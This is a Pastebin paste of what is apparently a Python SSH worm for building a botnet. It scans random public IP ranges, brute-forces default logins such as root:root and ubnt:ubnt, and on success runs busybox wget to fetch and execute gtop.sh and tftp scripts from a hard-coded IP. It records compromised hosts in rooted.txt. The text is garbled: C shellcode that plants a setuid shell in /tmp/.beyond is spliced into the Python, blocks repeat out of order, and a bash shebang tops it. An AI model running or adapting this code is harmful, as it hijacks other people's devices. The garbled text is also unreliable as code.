Advertisement
Guest User

Untitled

a guest
Mar 12th, 2018
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.70 KB | None | 0 0
  1. \#!/bin/bash
  2. echo "Cancer.c by Mephistopheles"
  3. #-python infect.py 376 LUCKY x 0
  4. #-python infect.py 376 B 113.53 1
  5.  
  6.  
  7. import threading, paramiko, random, socket, time, sys
  8.  
  9. paramiko.util.log_to_file("/dev/null") #Prevents paramiko error spam.
  10.  
  11. files = [ #Files in which we would like to execute upon the routers.
  12. "gtop.sh",
  13.  
  14.  
  15. ]
  16.  
  17. website = "208.67.1.182" #Public facing IP hosting the IRC bot binaries.
  18.  
  19. reservedips = [ #Majestic list of reserved IP's we have no reason to scan. Actually quite dull.
  20. 'http://127.',
  21. 'http://0',
  22. 'http://10.',
  23. 'http://100.64',
  24. 'http://100.65',
  25. 'http://100.66',
  26. 'http://100.67',
  27. 'http://100.68',
  28. 'http://100.69',
  29. 'http://100.70',
  30. 'http://100.71',
  31. 'http://100.72',
  32. 'http://100.73',
  33. 'http://100.74',
  34. 'http://100.75',
  35. 'http://100.76',
  36. 'http://100.77',
  37. 'http://100.78',
  38. 'http://100.79',
  39. 'http://100.80',
  40. 'http://100.81',
  41. 'http://100.82',
  42. 'http://100.83',
  43. 'http://100.84',
  44. 'http://100.85',
  45. 'http://100.86',
  46. 'http://100.87',
  47. 'http://100.88',
  48. 'http://100.89',
  49. 'http://100.90',
  50. 'http://100.91',
  51. 'http://100.92',
  52. 'http://100.93',
  53. 'http://100.94',
  54. 'http://100.95',
  55. 'http://100.96',
  56. 'http://100.97',
  57. 'http://100.98',
  58. 'http://100.99',
  59. 'http://100.100',
  60. 'http://100.101',
  61. 'http://100.102',
  62. 'http://100.103',
  63. 'http://100.104',
  64. 'http://100.105',
  65. 'http://100.106',
  66. 'http://100.107',
  67. 'http://100.108',
  68. 'http://100.109',
  69. 'http://100.110',
  70. 'http://100.111',
  71. 'http://100.112',
  72. 'http://100.113',
  73. 'http://100.114',
  74. 'http://100.115',
  75. 'http://100.116',
  76. 'http://100.117',
  77. 'http://100.118',
  78. 'http://100.119',
  79. 'http://100.120',
  80. 'http://100.121',
  81. 'http://100.122',
  82. 'http://100.123',
  83. 'http://100.124',
  84. 'http://100.125',
  85. 'http://100.126',
  86. 'http://100.127',
  87. 'http://169.254',
  88. 'http://172.16.',
  89. 'http://172.17.',
  90. 'http://172.18.',
  91. 'http://172.19.',
  92. 'http://172.20.',
  93. 'http://172.21.',
  94. 'http://172.22.',
  95. 'http://172.23.',
  96. 'http://172.24.',
  97. 'http://172.25.',
  98. 'http://172.26.',
  99. 'http://172.27.',
  100. 'http://172.28.',
  101. 'http://172.29.',
  102. 'http://172.30.',
  103. 'http://172.32.',
  104. 'http://192.0.0.0',
  105. 'http://192.0.0.1',
  106. 'http://192.0.0.2',
  107. 'http://192.0.0.3',
  108. 'http://192.0.0.4',
  109. 'http://192.0.0.5',
  110. 'http://192.0.0.6',
  111. 'http://192.0.0.7',
  112. 'http://192.0.2.',
  113. 'http://192.88.99.',
  114. 'http://192.168.',
  115. 'http://198.18.',
  116. 'http://198.19.',
  117. 'http://198.51.100.',
  118. 'http://203.0.113.',
  119. 'http://224.',
  120. 'http://225'
  121. ]
  122. lucky = ["37.237","37.238","37.239","37.236","191.53","186.208","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97"]
  123. passwords = [ #Some default SSH logins.
  124. "root:root",
  125. "root:admin",
  126. "admin:admin",
  127. "ubnt:ubnt",
  128. "root:password",
  129. "root:toor"
  130. ]
  131.  
  132. print sys.argv[0]+' Threads[max 376] A/B/C(ip class) /RAND IPHERE(1/1.1/1.1.1) 0/1 (password list, root:root) (doesn\'t scan recursively)' #Lack of basic system arguments/coded two years ago. Don't hate.
  133.  
  134. if sys.argv[4] == '1':
  135. passwords = [ "admin:1234", "root:root", "root:password", "root:12356", "admin:admin" ] #Faster exploitation with somewhat less results.
  136.  
  137. if sys.argv[4] == 'K':
  138. passwords = [ "root:test", "root:root" ]
  139.  
  140. ipclassinfo = sys.argv[2]
  141. if ipclassinfo == "A":
  142. ip1 = sys.argv[3]
  143. elif ipclassinfo == "B":
  144. ip1 = sys.argv[3].split(".")[0]
  145. ip2 = sys.argv[3].split(".")[1]
  146. elif ipclassinfo == "C":
  147. ips = sys.argv[3].split(".")
  148. num=0
  149. for ip in ips:
  150. num=num+1
  151. if num == 1:
  152. ip1 = ip
  153. elif num == 2:
  154. ip2 = ip
  155. elif num == 3:
  156. ip3 = ip
  157. class sshscanner(threading.Thread):
  158. char esp[] __attribute__ ((section(“.text”))) /* e.s.p
  159. release */
  160. = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
  161. “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
  162. “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
  163. “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
  164. “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
  165. “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
  166. “\x6e\x2f\x73\x68\x00\x2d\x63\x00”
  167. “cp -p /bin/sh /tmp/.beyond; chmod 4755
  168. /tmp/.beyond;”;
  169. else:
  170. password=passwd.split(":")[1]
  171. if "n/a:" in passwd:
  172. username=""
  173. else:
  174. username=passwd.split(":")[0]
  175. try:
  176. ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  177. dobreak=True
  178. break
  179. except:
  180. pass
  181. if True == dobreak:
  182. break
  183. badserver=True
  184. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  185. output = stdout.read()
  186. if "inet addr" in output:
  187. badserver=False
  188. websites = [ ]
  189. if badserver == False:
  190. print '\x1b[31mInfected:'+username+'<'+password+'>'+self.host+'|'+str(port)
  191. ssh.exec_command("cd /tmp; rm -rf *;busybox wget -q http://208.67.1.182/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -rf *; busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh\r\n")
  192. infectedip = open("rooted.txt","a").write(username+":"+password+":"+self.host+"\n")
  193. time.sleep(30)
  194. ssh.close()
  195. except:
  196. pass
  197.  
  198. for x in range(0,int(sys.argv[1])): #This may abuse your system resources and anger network administrators.
  199. try:
  200. t = sshscanner()
  201. t.start()
  202. except:
  203. pass
  204. = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
  205. “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
  206. “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
  207. “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
  208. “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
  209. “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
  210. “\x6e\x2f\x73\x68\x00\x2d\x63\x00”
  211. “cp -p /bin/sh /tmp/.beyond; chmod 4755
  212. /tmp/.beyond;”;
  213.  
  214. print sys.argv[0]+' Threads[max 376] A/B/C(ip class) /RAND IPHERE(1/1.1/1.1.1) 0/1 (password list, root:root) (doesn\'t scan recursively)' #Lack of basic system arguments/coded two years ago. Don't hate.
  215.  
  216. if sys.argv[4] == '1':
  217. passwords = [ "admin:1234", "root:root", "root:password", "root:12356", "admin:admin" ] #Faster exploitation with somewhat less results.
  218.  
  219. if sys.argv[4] == 'K':
  220. passwords = [ "root:test", "root:root" ]
  221.  
  222. ipclassinfo = sys.argv[2]
  223. if ipclassinfo == "A":
  224. ip1 = sys.argv[3]
  225. elif ipclassinfo == "B":
  226. ip1 = sys.argv[3].split(".")[0]
  227. ip2 = sys.argv[3].split(".")[1]
  228. elif ipclassinfo == "C":
  229. ips = sys.argv[3].split(".")
  230. num=0
  231. for ip in ips:
  232. num=num+1
  233. if num == 1:
  234. ip1 = ip
  235. elif num == 2:
  236. ip2 = ip
  237. elif num == 3:
  238. ip3 = ip
  239. class sshscanner(threading.Thread):
  240. global passwords
  241. global ipclassinfo
  242. if ipclassinfo == "A":
  243. global ip1
  244. elif ipclassinfo == "B":
  245. global ip1
  246. global ip2
  247. elif ipclassinfo == "C":
  248. global ip1
  249. global ip2
  250. global ip3
  251. def run(self):
  252. while 1:
  253. try:
  254. while 1:
  255. thisipisbad='no'
  256. if ipclassinfo == "A":
  257. self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  258. elif ipclassinfo == "B":
  259. self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  260. elif ipclassinfo == "C":
  261. self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  262. elif ipclassinfo == "LUCKY":
  263. self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  264. else:
  265. self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  266. for badip in reservedips:
  267. if badip in self.host:
  268. thisipisbad='yes'
  269. if thisipisbad=='no':
  270. break
  271. self.host=self.host.replace('http://', '') #This could be optimized. This is bad code. No idea why I did it like this.
  272. username='root'
  273. password="0"
  274. port = 22
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement